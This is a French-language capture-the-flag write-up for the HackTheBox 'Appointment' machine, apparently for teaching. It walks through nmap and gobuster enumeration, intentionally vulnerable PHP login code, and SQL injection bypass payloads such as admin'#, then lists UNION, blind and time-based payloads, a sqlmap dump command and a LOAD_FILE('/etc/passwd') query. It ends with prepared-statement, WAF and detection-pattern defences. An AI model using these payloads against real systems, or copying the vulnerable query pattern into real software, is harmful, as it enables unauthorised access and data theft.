HackTheBox Writeup

Appointment

Très facileLinuxsql-injectionwebapacheauthentication-bypassowasp-top10

Introduction à l'injection SQL et exploitation de formulaires de connexion vulnérables

Appointment - HackTheBox Starting Point

Informations générales

PropriétéValeur
Difficulté⭐ Très facile
OSLinux
CatégorieStarting Point - Tier 1
CompétencesSQL Injection, Web Application Security, Authentication Bypass
Auteurs0ne-nine9, ilinor

Vue d'ensemble

Appointment est un challenge orienté applications web qui introduit l'injection SQL (SQL Injection), l'une des vulnérabilités web les plus critiques selon le classement OWASP Top 10. Ce challenge enseigne :

  • Les bases du protocole HTTP et des requêtes web
  • Le fonctionnement de l'authentification basée sur SQL
  • Les techniques d'énumération de répertoires web (Gobuster)
  • L'exploitation d'injections SQL pour contourner l'authentification
  • Les mécanismes de protection contre les injections SQL

Qu'est-ce que SQL et les bases de données ?

Définition

SQL (Structured Query Language) est un langage de programmation standardisé utilisé pour gérer et manipuler des bases de données relationnelles. Les applications web utilisent SQL pour :

  • Stocker des informations utilisateurs (comptes, mots de passe)
  • Gérer des contenus (articles, produits, commentaires)
  • Traiter des données sensibles (PII, informations de paiement)

Architecture typique d'une application web

┌─────────────┐                                ┌──────────────────┐
│   Client    │ ──── Requêtes HTTP ──────────> │  Web Application │
│  (Browser)  │      (GET/POST)                │   (Apache/Nginx) │
│             │ <─── Réponses HTML ─────────── │                  │
└─────────────┘                                └────────┬─────────┘
                                                        │
                                                        │ SQL Queries
                                                        │
                                                        ▼
                                               ┌──────────────────┐
                                               │   SQL Database   │
                                               │  (MySQL/MariaDB) │
                                               │                  │
                                               │  ┌────────────┐  │
                                               │  │   users    │  │
                                               │  ├────────────┤  │
                                               │  │ id | name  │  │
                                               │  │  1 | admin │  │
                                               │  │  2 | user  │  │
                                               │  └────────────┘  │
                                               └──────────────────┘

Hiérarchie des bases de données SQL

SQL Service (MySQL, PostgreSQL, MariaDB, etc.)
    │
    ├── Database 1 (ex: "webapp")
    │     │
    │     ├── Table 1 (ex: "users")
    │     │     ├── Columns: id, username, password, email
    │     │     └── Rows: données des utilisateurs
    │     │
    │     ├── Table 2 (ex: "products")
    │     │     ├── Columns: id, name, price, description
    │     │     └── Rows: données des produits
    │     │
    │     └── Table 3 (ex: "orders")
    │           ├── Columns: id, user_id, product_id, date
    │           └── Rows: données des commandes
    │
    └── Database 2 (ex: "analytics")
          └── Tables...

Qu'est-ce que l'injection SQL ?

Définition

L'injection SQL est une technique d'exploitation qui permet à un attaquant de manipuler les requêtes SQL exécutées par une application web en injectant du code SQL malveillant dans les champs d'entrée utilisateur.

Classification OWASP

Selon l'OWASP Top 10, l'injection SQL fait partie des vulnérabilités de type Injection (A03:2021), considérées comme extrêmement dangereuses car elles permettent :

  • L'accès non autorisé aux données sensibles
  • Le contournement de l'authentification
  • La modification/suppression de données
  • L'exécution de commandes système (dans certains cas)

Fonctionnement normal de l'authentification

Voici comment fonctionne typiquement un système d'authentification PHP/SQL :

<?php
// Connexion à la base de données
mysql_connect("localhost", "db_username", "db_password");
mysql_select_db("users");

// Récupération des entrées utilisateur
$username = $_POST['username']; // Ex: "admin"
$password = $_POST['password']; // Ex: "password123"

// Construction de la requête SQL (VULNÉRABLE)
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

// Exécution de la requête
$result = mysql_query($sql);

// Vérification du résultat
$count = mysql_num_rows($result);

if ($count == 1) {
    // Si exactement 1 résultat trouvé : authentification réussie
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;
    header("location:home.php"); // Redirection vers la page d'accueil
} else {
    // Authentification échouée
    header("location:login.php");
}
?>

Requête SQL générée (légitime) :

SELECT * FROM users WHERE username='admin' AND password='password123'

Exploitation par injection SQL

Si le code ne valide pas les entrées utilisateur, un attaquant peut injecter du code SQL :

Entrée malveillante :

  • Username: admin'#
  • Password: anything (peu importe)

Requête SQL générée (exploitée) :

SELECT * FROM users WHERE username='admin'#' AND password='anything'

Analyse :

  • ' : Ferme la chaîne de caractères pour le username
  • # : Commentaire SQL (tout ce qui suit est ignoré)
  • Résultat : La vérification du mot de passe est complètement contournée
Requête originale :
SELECT * FROM users WHERE username='$username' AND password='$password'

Requête exploitée :
SELECT * FROM users WHERE username='admin'#' AND password='anything'
                                        ↑
                            Le reste est commenté !

Schéma de l'attaque

Processus normal :

┌────────┐          User Search          ┌─────────────────┐
│ Client │ ──────────────────────────────> │ Web Application │
│        │                                 │                 │
│        │                                 │  Permissions    │
│        │                                 │  Check & Query  │
│        │                                 │  Translation    │
│        │                                 │                 │
└────────┘                                 └────────┬────────┘
                                                    │
                                                    ▼
                                           ┌─────────────────┐
                                           │   SQL Service   │
                                           └─────────────────┘

Attaque par injection SQL :

┌──────────┐       SQL Injection        ┌─────────────────┐
│ Attacker │ ─────────────────────────> │ Web Application │
│          │                            │                 │
│          │                            │  (Pas de        │
│          │                            │   validation)   │
│          │                            │                 │
└──────────┘                            └────────┬────────┘
     │                                           │
     │                                           ▼
     │                                  ┌─────────────────┐
     │                                  │   SQL Service   │
     │                                  └────────┬────────┘
     │                                           │
     └──────── Unrestricted Querying ───────────┘

Données sensibles et PII

Qu'est-ce que le PII ?

PII (Personally Identifiable Information) désigne toute information permettant d'identifier un individu :

  • Nom complet, adresse e-mail
  • Numéro de téléphone, adresse physique
  • Numéro de sécurité sociale, carte bancaire
  • Adresse IP, données biométriques

Législation et sanctions

RéglementationZone géographiqueAmendes maximales
GDPRUnion Européenne20M€ ou 4% du CA annuel mondial
CCPACalifornie (USA)$7,500 par violation
LGPDBrésilR$50M par infraction

Pourquoi protéger les données ?

Les entreprises doivent protéger les données utilisateurs pour :

  1. Conformité légale : Éviter les amendes massives
  2. Réputation : Préserver la confiance des clients
  3. Sécurité des utilisateurs : Prévenir l'usurpation d'identité
  4. Éthique professionnelle : Respecter la vie privée

Phase 1 : Énumération

Scan Nmap initial

Commençons par scanner les ports ouverts avec Nmap :

sudo nmap -sC -sV <TARGET_IP>

Options expliquées :

  • -sC : Script scan avec les scripts par défaut (détection de vulnérabilités)
  • -sV : Détection de version des services

Résultat attendu :

Starting Nmap 7.92 at 2021-07-08 14:19:03 BST
Nmap scan report for <TARGET_IP>
Host is up (0.056s latency).
Not shown: 999 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Login

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds

Analyse des résultats

PortServiceVersionSignification
80/tcpHTTPApache httpd 2.4.38Serveur web Apache sur Debian
http-titleLogin-Page de connexion détectée

Découverte : Un serveur web Apache 2.4.38 sur Debian expose une page de connexion sur le port 80.

Apache HTTP Server

Apache HTTP Server est un serveur web open-source extrêmement populaire :

  • Usage : Hébergement de sites web et applications
  • Ports standards : 80 (HTTP), 443 (HTTPS), 8080, 8000
  • Part de marché : ~30% des sites web mondiaux
  • Protocole : HTTP (Hypertext Transfer Protocol)

Phase 2 : Énumération web (Optionnel mais recommandé)

Accès à l'application web

Naviguons vers l'adresse IP cible dans notre navigateur :

http://<TARGET_IP>

Nous sommes confrontés à un formulaire de connexion avec :

  • Champ Username
  • Champ Password
  • Bouton Login

Comprendre les répertoires web

Les répertoires web sont des dossiers sur le serveur contenant différentes ressources :

  • Pages HTML (/home, /about, /contact)
  • Formulaires (/login, /register)
  • Ressources (/images, /css, /js)
  • Panneaux d'administration (/admin, /dashboard)

Codes de statut HTTP

Lorsque le navigateur (client HTTP) envoie une requête au serveur, ce dernier répond avec un code de statut :

CodeSignificationDescription
200 OKSuccèsLa ressource existe et est renvoyée
302 FoundRedirection temporaireLa ressource a été déplacée temporairement
404 Not FoundNon trouvéLa ressource n'existe pas à cette URL
403 ForbiddenInterditAccès refusé (permissions insuffisantes)
500 Internal Server ErrorErreur serveurProblème côté serveur (bug, crash)

Processus de navigation web

┌─────────────┐                                  ┌─────────────┐
│   Browser   │ ── GET /contact ──────────────> │ Web Server  │
│   (Client)  │                                  │   (Apache)  │
│             │                                  │             │
│             │ <─ HTTP/1.1 200 OK ───────────  │             │
│             │    Content: <html>...</html>     │             │
└─────────────┘                                  └─────────────┘

┌─────────────┐                                  ┌─────────────┐
│   Browser   │ ── GET /admin ─────────────────> │ Web Server  │
│             │                                  │             │
│             │ <─ HTTP/1.1 404 Not Found ─────  │             │
└─────────────┘                                  └─────────────┘

Brute-forcing de répertoires avec Gobuster

Gobuster est un outil de brute-force de répertoires écrit en Go (Golang). Il teste automatiquement des noms de répertoires/fichiers à partir d'une wordlist.

Installation de Gobuster

Méthode 1 : Via go install

go install github.com/OJ/gobuster/v3@latest

Méthode 2 : Via le gestionnaire de paquets

# Debian/Ubuntu
sudo apt install gobuster

# Arch Linux
sudo pacman -S gobuster

Méthode 3 : Compilation depuis les sources

git clone https://github.com/OJ/gobuster.git
cd gobuster
go get && go build
go install

Wordlists

Les wordlists sont des fichiers contenant des listes de noms courants de répertoires/fichiers.

Wordlists préinstallées (Parrot OS / Kali Linux) :

ls /usr/share/wordlists/

SecLists (collection populaire) :

git clone https://github.com/danielmiessler/SecLists.git

Utilisation de Gobuster

Syntaxe de base :

gobuster dir --url http://<TARGET_IP>/ --wordlist <WORDLIST_PATH>

Options principales :

  • dir : Mode énumération de répertoires/fichiers
  • --url : URL cible
  • --wordlist : Chemin vers la wordlist

Exemple concret :

gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/directory-list-2.3-small.txt

Résultat attendu :

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://<TARGET_IP>/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/07/08 14:19:03 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://<TARGET_IP>/images/]
/css                  (Status: 301) [Size: 308] [--> http://<TARGET_IP>/css/]
/js                   (Status: 301) [Size: 307] [--> http://<TARGET_IP>/js/]
/vendor               (Status: 301) [Size: 311] [--> http://<TARGET_IP>/vendor/]
/fonts                (Status: 301) [Size: 310] [--> http://<TARGET_IP>/fonts/]
===============================================================
2021/07/08 14:27:18 Finished
===============================================================

Analyse des résultats Gobuster

Les répertoires découverts sont des répertoires standards pour un site web :

  • /images : Images du site
  • /css : Feuilles de style (CSS)
  • /js : Scripts JavaScript
  • /vendor : Bibliothèques tierces
  • /fonts : Polices de caractères

Conclusion : Aucun répertoire sensible ou exploitable trouvé. Continuons avec le formulaire de connexion.

Phase 3 : Tentatives d'authentification

Test de credentials par défaut

Essayons des combinaisons username/password courantes :

UsernamePasswordRésultat
adminadmin❌ Échec
guestguest❌ Échec
useruser❌ Échec
rootroot❌ Échec
administratorpassword❌ Échec

Conclusion : Aucun credential par défaut ne fonctionne.

Brute-force (déconseillé)

Nous pourrions utiliser des outils comme :

  • Hydra : Brute-force de formulaires web
  • Burp Suite Intruder : Fuzzing automatisé
  • Medusa : Attaques par dictionnaire

Inconvénients du brute-force :

  • ⏱️ Très long : Peut prendre des heures/jours
  • 🚨 Très bruyant : Génère des milliers de requêtes (détectable par WAF/IDS)
  • ⚠️ Risque de blocage : Comptes verrouillés, IP bannie

Phase 4 : Exploitation (SQL Injection)

Identification de la vulnérabilité

Le formulaire de connexion n'implémente aucune validation d'entrée, ce qui le rend vulnérable à l'injection SQL.

Construction du payload

Objectif : Contourner l'authentification en manipulant la requête SQL.

Payload utilisé :

Username: admin'#
Password: (n'importe quoi)

Analyse technique du payload

Code PHP vulnérable

$username = $_POST['username']; // "admin'#"
$password = $_POST['password']; // "abc123"

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// Résultat : SELECT * FROM users WHERE username='admin'#' AND password='abc123'

Requête SQL finale

SELECT * FROM users WHERE username='admin'#' AND password='abc123'

Décomposition :

  1. SELECT * FROM users WHERE username=' : Début de la requête
  2. admin : Notre input (nom d'utilisateur)
  3. ' : Ferme la chaîne de caractères
  4. # : Début du commentaire SQL (tout ce qui suit est ignoré)
  5. ' AND password='abc123' : Commenté, donc ignoré

Requête effective exécutée :

SELECT * FROM users WHERE username='admin'

Représentation visuelle

Requête originale attendue :
┌──────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin' AND password='...'│
│                                   ↑ Input utilisateur ↑      │
└──────────────────────────────────────────────────────────────┘

Requête exploitée :
┌──────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin'#' AND password='.'│
│                                           ↑  ↑               │
│                                Ferme     Commentaire         │
│                               la quote    tout le reste      │
└──────────────────────────────────────────────────────────────┘

Requête réellement exécutée :
┌──────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin'
│                                      │
│  Pas de vérification de password !  │
└──────────────────────────────────────┘

Pourquoi ça fonctionne ?

  1. Pas de validation d'entrée : Les caractères spéciaux ' et # ne sont pas filtrés
  2. Requête SQL dynamique : Les variables sont directement insérées dans la requête
  3. Logique de comptage : Le code vérifie if ($count == 1) - si un seul résultat, login réussi
  4. Compte admin existe : Il y a effectivement un utilisateur nommé admin dans la base

Exécution de l'attaque

Saisissons le payload dans le formulaire :

  1. Username : admin'#
  2. Password : anything (peu importe, sera ignoré)
  3. Cliquez sur Login

Résultat :

Congratulations!
Your flag is: e3d0796d002a446c0e622226f42e9672

🎉 Succès ! Nous avons contourné l'authentification et obtenu le flag.

Concepts clés appris

1. Injection SQL (SQL Injection)

  • Définition : Exploitation permettant de manipuler des requêtes SQL
  • Cause : Absence de validation/échappement des entrées utilisateur
  • Impact : Contournement d'authentification, vol de données, modification de DB
  • Classification OWASP : A03:2021 - Injection

2. Techniques de contournement d'authentification

PayloadExplicationUsage
admin'#Commentaire SQL (MySQL)Ignore le reste de la requête
admin'--Commentaire SQL (MSSQL)Idem (notez l'espace après --)
' OR 1=1#Condition toujours vraieAuthentification universelle
admin' OR '1'='1Condition toujours vraieVariante sans commentaire

3. Anatomie d'une requête SQL

SELECT * FROM users WHERE username='INPUT1' AND password='INPUT2'
  │      │     │            │           │            │          │
  │      │     │            │           │            │          │
Commande │  Table        Colonne    Valeur 1    Opérateur  Valeur 2
         │
      Sélecteur (toutes les colonnes)

4. Commentaires SQL selon le SGBD

SGBDSyntaxe de commentaireExemple
MySQL# ou -- (avec espace)admin'# ou admin'--
PostgreSQL-- (avec espace)admin'--
MSSQL-- (avec espace)admin'--
Oracle-- (avec espace)admin'--

Commandes récapitulatives

# Scanner les ports avec détection de services
sudo nmap -sC -sV <TARGET_IP>

# Énumérer les répertoires web avec Gobuster
gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/directory-list-2.3-small.txt

# Accéder à l'application web
firefox http://<TARGET_IP>

# Payload d'injection SQL (dans le formulaire)
Username: admin'#
Password: anything

Protection contre les injections SQL

Ce qu'il NE faut PAS faire

Concaténation directe de variables dans SQL

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

Utilisation de mysql_ (obsolète et dangereux)*

mysql_query($sql); // Fonction dépréciée et vulnérable

Validation côté client uniquement

// Validation JavaScript facilement contournable
if (username.length > 0) { submit(); }

Méthodes de protection

1. Requêtes préparées (Prepared Statements) ✅

PHP avec PDO :

<?php
$pdo = new PDO('mysql:host=localhost;dbname=users', 'username', 'password');

// Requête préparée avec placeholders
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');

// Liaison des paramètres (automatiquement échappés)
$stmt->execute([
    ':username' => $_POST['username'],
    ':password' => $_POST['password']
]);

$user = $stmt->fetch();

if ($user) {
    // Authentification réussie
    $_SESSION['user_id'] = $user['id'];
    header('Location: home.php');
} else {
    // Authentification échouée
    header('Location: login.php?error=1');
}
?>

Pourquoi c'est sécurisé :

  • Les paramètres sont échappés automatiquement
  • La structure de la requête SQL est fixe (pas de modification possible)
  • Les caractères spéciaux (', #, --) sont traités comme des données littérales

2. Procédures stockées (Stored Procedures)

Création de la procédure :

DELIMITER //
CREATE PROCEDURE AuthenticateUser(IN p_username VARCHAR(50), IN p_password VARCHAR(255))
BEGIN
    SELECT * FROM users WHERE username = p_username AND password = p_password;
END //
DELIMITER ;

Appel depuis PHP :

$stmt = $pdo->prepare('CALL AuthenticateUser(:username, :password)');
$stmt->execute([
    ':username' => $_POST['username'],
    ':password' => $_POST['password']
]);

3. Validation et échappement des entrées

Whitelist de caractères autorisés :

// Autoriser uniquement alphanumériques et underscore
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_POST['username'])) {
    die('Invalid username format');
}

Échappement avec mysqli_real_escape_string :

$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

// Toujours utiliser des requêtes préparées de préférence !

4. Principe du moindre privilège

Permissions de base de données restreintes :

-- Créer un utilisateur avec permissions limitées
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Accorder uniquement SELECT sur la table users
GRANT SELECT ON database.users TO 'webapp'@'localhost';

-- Refuser les commandes dangereuses
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';

Avantages :

  • Même si injection SQL réussie, l'attaquant ne peut pas DROP, DELETE, INSERT
  • Limitation des dégâts en cas de compromission

5. WAF (Web Application Firewall)

Solutions WAF populaires :

  • ModSecurity : WAF open-source pour Apache/Nginx
  • Cloudflare WAF : Protection cloud
  • AWS WAF : Solution managée AWS
  • Imperva : Solution enterprise

Exemple de règle ModSecurity :

# Bloquer les tentatives d'injection SQL courantes
SecRule ARGS "@rx (\"|'|#|--|;)" \
    "id:1,phase:2,deny,status:403,msg:'SQL Injection Attempt'"

6. Hachage sécurisé des mots de passe

JAMAIS stocker les mots de passe en clair !

PHP avec password_hash (bcrypt) :

// Lors de l'inscription
$hashed_password = password_hash($_POST['password'], PASSWORD_BCRYPT);

// Stocker $hashed_password dans la base de données

// Lors de la connexion
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute([':username' => $_POST['username']]);
$user = $stmt->fetch();

if ($user && password_verify($_POST['password'], $user['password'])) {
    // Authentification réussie
    $_SESSION['user_id'] = $user['id'];
}

7. Logging et monitoring

Détecter les tentatives d'attaque :

// Logger les tentatives d'injection SQL
if (preg_match('/(\"|\'|#|--|;|union|select|insert|drop)/i', $_POST['username'])) {
    // Log de sécurité
    error_log("SQL Injection attempt from IP: " . $_SERVER['REMOTE_ADDR'] .
              " - Username: " . $_POST['username']);

    // Bloquer l'utilisateur
    die('Suspicious activity detected. Your IP has been logged.');
}

Checklist de sécurité

Utiliser des requêtes préparées (PDO ou mysqli)Valider toutes les entrées utilisateur (whitelist)Échapper les caractères spéciaux si nécessaireHacher les mots de passe avec bcrypt/argon2Implémenter un WAF (ModSecurity, Cloudflare)Appliquer le principe du moindre privilège (permissions DB)Logger et monitorer les activités suspectesMettre à jour régulièrement les frameworks et dépendancesTester régulièrement avec des scanners de vulnérabilités

Pour aller plus loin

Ressources recommandées

Outils d'exploitation SQL Injection

  • sqlmap : Outil automatisé d'exploitation SQLi
    sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --dump
    
  • Burp Suite : Proxy d'interception et fuzzer
  • OWASP ZAP : Scanner de sécurité web open-source
  • jSQL Injection : Outil Java pour SQLi automatisé

Types avancés d'injection SQL

1. Union-based SQL Injection

Objectif : Extraire des données de tables non autorisées

-- Découvrir le nombre de colonnes
admin' UNION SELECT NULL#
admin' UNION SELECT NULL, NULL#
admin' UNION SELECT NULL, NULL, NULL#

-- Extraire des données
admin' UNION SELECT 1, username, password FROM users#

2. Blind SQL Injection (Boolean-based)

Objectif : Extraire des données bit par bit sans voir le résultat

-- Tester si la première lettre du password est 'a'
admin' AND SUBSTRING(password, 1, 1) = 'a'#

-- Si la page se comporte différemment, la condition est vraie

3. Time-based Blind SQL Injection

Objectif : Utiliser des délais pour confirmer les conditions

-- Si vrai, pause de 5 secondes
admin' AND IF(1=1, SLEEP(5), 0)#

-- Extraire des données caractère par caractère
admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)#

4. Out-of-band SQL Injection

Objectif : Exfiltrer des données via des canaux externes (DNS, HTTP)

-- MySQL avec LOAD_FILE et INTO OUTFILE
admin' UNION SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/output.txt'#

Défis HackTheBox associés

Continuez votre apprentissage avec ces challenges :

  • Sequel (Tier 1) : Exploitation de bases de données MySQL
  • Crocodile (Tier 1) : Énumération web et FTP combinée
  • SQLMAP (Intermediate) : Utilisation avancée de sqlmap
  • Vaccine (Easy) : SQLi avec cookies et escalade de privilèges

Questions de révision

  1. Qu'est-ce qu'une injection SQL ?
  2. Pourquoi le payload admin'# permet-il de contourner l'authentification ?
  3. Quelle est la différence entre # et -- comme commentaire SQL ?
  4. Qu'est-ce qu'une requête préparée (prepared statement) ?
  5. Pourquoi ne doit-on jamais stocker les mots de passe en clair ?
  6. Qu'est-ce que le principe du moindre privilège appliqué aux bases de données ?
  7. Quelle fonction PHP utilise-t-on pour hacher sécurisement un mot de passe ?
  8. Qu'est-ce qu'un WAF et comment protège-t-il contre les injections SQL ?

Félicitations ! Vous avez maîtrisé les bases de l'injection SQL et du contournement d'authentification. Cette vulnérabilité reste l'une des plus critiques et des plus exploitées dans les applications web modernes. 🎯


Write-up rédigé à des fins éducatives. Pratique autorisée uniquement sur des systèmes dont vous avez l'autorisation.